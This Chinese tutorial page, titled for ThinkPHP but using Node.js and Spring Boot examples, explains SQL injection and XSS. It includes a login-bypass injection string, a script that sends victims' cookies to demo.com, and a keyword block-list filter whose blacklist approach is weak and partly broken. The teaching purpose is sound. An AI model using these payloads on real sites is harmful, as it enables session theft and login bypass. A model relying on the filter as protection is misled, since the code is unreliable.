您所在的位置:首页 / 行业动态

thinkphp如何防止sql注入xss攻击

2020.01.16

2964

Wng_Png

SQL注入简介

SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

而造成 SQL 注入的原因是因为程序没有有效的转义过滤用户的输入,使攻击者成功的向服务器提交恶意的 SQL 查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。

很多 Web 开发者没有意识到 SQL 查询是可以被篡改的,从而把 SQL 查询当作可信任的命令。殊不知,SQL 查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过 SQL 查询去运行主机系统级的命令。

SQL 注入原理

下面将通过一些真实的例子来详细讲解 SQL 注入的方式的原理。

考虑以下简单的管理员登录表单:

1

2

3

4

5

<form action="/login"method="POST">

    <p>Username: <input type="text"name="username"/></p>

    <p>Password: <input type="password"name="password"/></p>

    <p><input type="submit"value="登陆"/></p>

</form>

后端的 SQL 语句可能是如下这样的:

1

2

3

4

5

6

7

let querySQL = `

    SELECT *

    FROM user

    WHERE username='${username}'

    AND psw='${password}'

`;

// 接下来就是执行 sql 语句

目的就是来验证用户名和密码是不是正确,按理说乍一看上面的 SQL 语句也没什么毛病,确实是能够达到我们的目的,可是你只是站在用户会老老实实按照你的设计来输入的角度来看问题,如果有一个恶意攻击者输入的用户名是 zhangsan’ OR 1 = 1 --,密码随意输入,就可以直接登入系统了。

冷静下来思考一下,我们之前预想的真实 SQL 语句是:

1

SELECT * FROM user WHERE username='zhangsan'AND psw='mypassword'

可以恶意攻击者的奇怪用户名将你的 SQL 语句变成了如下形式:

1

SELECT * FROM user WHERE username='zhangsan'OR 1 = 1 --' AND psw='xxxx'

在 SQL 中,-- 是注释后面的内容的意思,所以查询语句就变成了:

1

SELECT * FROM user WHERE username='zhangsan'OR 1 = 1

这条 SQL 语句的查询条件永远为真,所以意思就是恶意攻击者不用我的密码,就可以登录进我的账号,然后可以在里面为所欲为,然而这还只是最简单的注入,牛逼的 SQL 注入高手甚至可以通过 SQL 查询去运行主机系统级的命令,将你主机里的内容一览无余,这里我也没有这个能力讲解的太深入,毕竟不是专业研究这类攻击的,但是通过以上的例子,已经了解了 SQL 注入的原理,我们基本已经能找到防御 SQL 注入的方案了。

预防 SQL 注入

防止 SQL 注入主要是不能允许用户输入的内容影响正常的 SQL 语句的逻辑,当用户的输入的信息将要用来拼接 SQL 语句的话,我们应该永远选择不相信,任何内容都必须进行转义过滤,当然做到这个还是不够的,下面列出防御 SQL 注入的几点注意事项:

1、严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。

2、后端代码检查输入的数据是否符合预期,严格限制变量的类型,例如使用正则表达式进行一些匹配处理。

3、对进入数据库的特殊字符(’,",\,<,>,&,*,; 等)进行转义处理,或编码转换。基本上所有的后端语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库。

4、所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数。

1

mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);

5、在应用发布之前建议使用专业的 SQL 注入检测工具进行检测,以及时修补被发现的 SQL 注入漏洞。网上有很多这方面的开源工具,例如 sqlmap、SQLninja 等。

6、避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。

7、不要过于细化返回的错误信息,如果目的是方便调试,就去使用后端日志,不要在接口上过多的暴露出错信息,毕竟真正的用户不关心太多的技术细节,只要话术合理就行。

XSS 攻击简介

XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。 原理是攻击者往 web 页面里插入恶意的脚本代码(CSS代码、JavaScript代码等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。如盗取用户cookie,破坏页面结构、重定向到其他网站等。

理论上来说,web 页面中所有可由用户输入的地方,如果没有对输入的数据进行过滤处理的话,都会存在 XSS 漏洞;当然,我们也需要对模板视图中的输出数据进行过滤。

XSS 攻击示例

有一个博客网站,提供了一个 web 页面(内含表单)给所有的用户发表博客,但该博客网站的开发人员并没有对用户提交的表单数据做任何过滤处理。 现在,我是一个攻击者,在该博客网站发表了一篇博客,用于盗取其他用户的cookie信息。博客内容如下:

1

2

3

4

5

<b>This is a XSS test!</b>

<script>

varcookie = document.cookie;

window.open("http://demo.com/getCookie.php?param="+cookie);

</script>

这是一段 XSS 攻击代码。当其他用户查看我的这篇博客时,他们的 cookie 信息就会被发送至我的 web 站点(http://demo.com/) ,如此,我就盗取了其他用户的 cookie 信息。

预防 XSS 攻击

核心思想

永远不要相信用户的输入,必须对输入的数据作过滤处理。

该函数会把字符串中的特殊字符转化为 HTML 实体,这样在输出时,恶意的代码就无法执行了。这些特殊字符主要是 ’ " & < >。

比如,我刚刚的恶意代码被过滤后,会变为下面的代码:

1

2

3

4

5

&lt;b&gt;This is a XSS test!&lt;/b&gt;

&lt;script&gt;

varcookie = document.cookie;

window.open(&quot;http://demo.com/getCookie.php?param=&quot;+cookie);

&lt;/script&gt;

这样,就可以预防大部分 XSS 攻击了。

服务端代码处理

以springboot为例:

可利用过滤器进行设置,如下所示:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

/**

 * 防止sql注入,xss攻击

 * 前端可以对输入信息做预处理,后端也可以做处理。

 */

publicclassXssHttpServletRequestWrapperextendsHttpServletRequestWrapper {

    privatefinalLogger log = LoggerFactory.getLogger(getClass());

    privatestaticString key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char

    |declare|;|or|-|+";

    privatestaticSet<String> notAllowedKeyWords =newHashSet<String>(0);

    privatestaticString replacedString="INVALID";

    static{

        String keyStr[] = key.split("\\|");

        for(String str : keyStr) {

            notAllowedKeyWords.add(str);

        }

    }

    privateString currentUrl;

    publicXssHttpServletRequestWrapper(HttpServletRequest servletRequest) {

        super(servletRequest);

        currentUrl = servletRequest.getRequestURI();

    }

    /**覆盖getParameter方法,将参数名和参数值都做xss过滤。

     * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取

     * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖

     */

    @Override

    publicString getParameter(String parameter) {

        String value = super.getParameter(parameter);

        if(value == null) {

            returnnull;

        }

        returncleanXSS(value);

    }

    @Override

    publicString[] getParameterValues(String parameter) {

        String[] values = super.getParameterValues(parameter);

        if(values == null) {

            returnnull;

        }

        intcount= values.length;

        String[] encodedValues =newString[count];

        for(int i = 0; i <count; i++) {

            encodedValues[i] = cleanXSS(values[i]);

        }

        returnencodedValues;

    }

    @Override

    publicMap<String, String[]> getParameterMap(){

        Map<String, String[]> values=super.getParameterMap();

        if(values == null) {

            returnnull;

        }

        Map<String, String[]> result=newHashMap<>();

        for(String key:values.keySet()){

            String encodedKey=cleanXSS(key);

            intcount=values.get(key).length;

            String[] encodedValues =newString[count];

            for(int i = 0; i <count; i++){

                encodedValues[i]=cleanXSS(values.get(key)[i]);

            }

            result.put(encodedKey,encodedValues);

        }

        returnresult;

    }

    /**

     * 覆盖getHeader方法,将参数名和参数值都做xss过滤。

     * 如果需要获得原始的值,则通过super.getHeaders(name)来获取

     * getHeaderNames 也可能需要覆盖

     */

    @Override

    publicString getHeader(String name) {

        String value = super.getHeader(name);

        if(value == null) {

            returnnull;

        }

        returncleanXSS(value);

    }

    privateString cleanXSS(String valueP) {

        // You'll need to remove the spaces from the html entities below

        String value = valueP.replaceAll("<","&lt;").replaceAll(">","&gt;");

        value = value.replaceAll("<","& lt;").replaceAll(">","& gt;");

        value = value.replaceAll("\\(","& #40;").replaceAll("\\)","& #41;");

        value = value.replaceAll("'","& #39;");

        value = value.replaceAll("eval\\((.*)\\)","");

        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']","\"\"");

        value = value.replaceAll("script","");

        value = cleanSqlKeyWords(value);

        returnvalue;

    }

    privateString cleanSqlKeyWords(String value) {

        String paramValue = value;

        for(String keyword : notAllowedKeyWords) {

            if(paramValue.length() > keyword.length() + 4

                    && (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue.

                    contains(" "+keyword+" "))) {

                paramValue = StringUtils.replace(paramValue, keyword, replacedString);

                log.error(this.currentUrl +"已被过滤,因为参数中包含不允许sql的关键词("+ keyword

                        +")"+";参数:"+value+";过滤后的参数:"+paramValue);

            }

        }

        returnparamValue;

    }

}

以上就是thinkphp如何防止sql注入xss攻击的详细内容

相关新闻

互联网女皇年度趋势报告,你读到了什么

2016.06.03

2478

“互联网女皇”Mary Meeker一年一度的《互联网趋势》报告,已经成为科技行业内部重大发展趋势的一个重要信号。 在6月2日刚刚发布的《2016互联网趋势报告》中,Meeker提出:中国,从很多方面来看都是互联网领导者。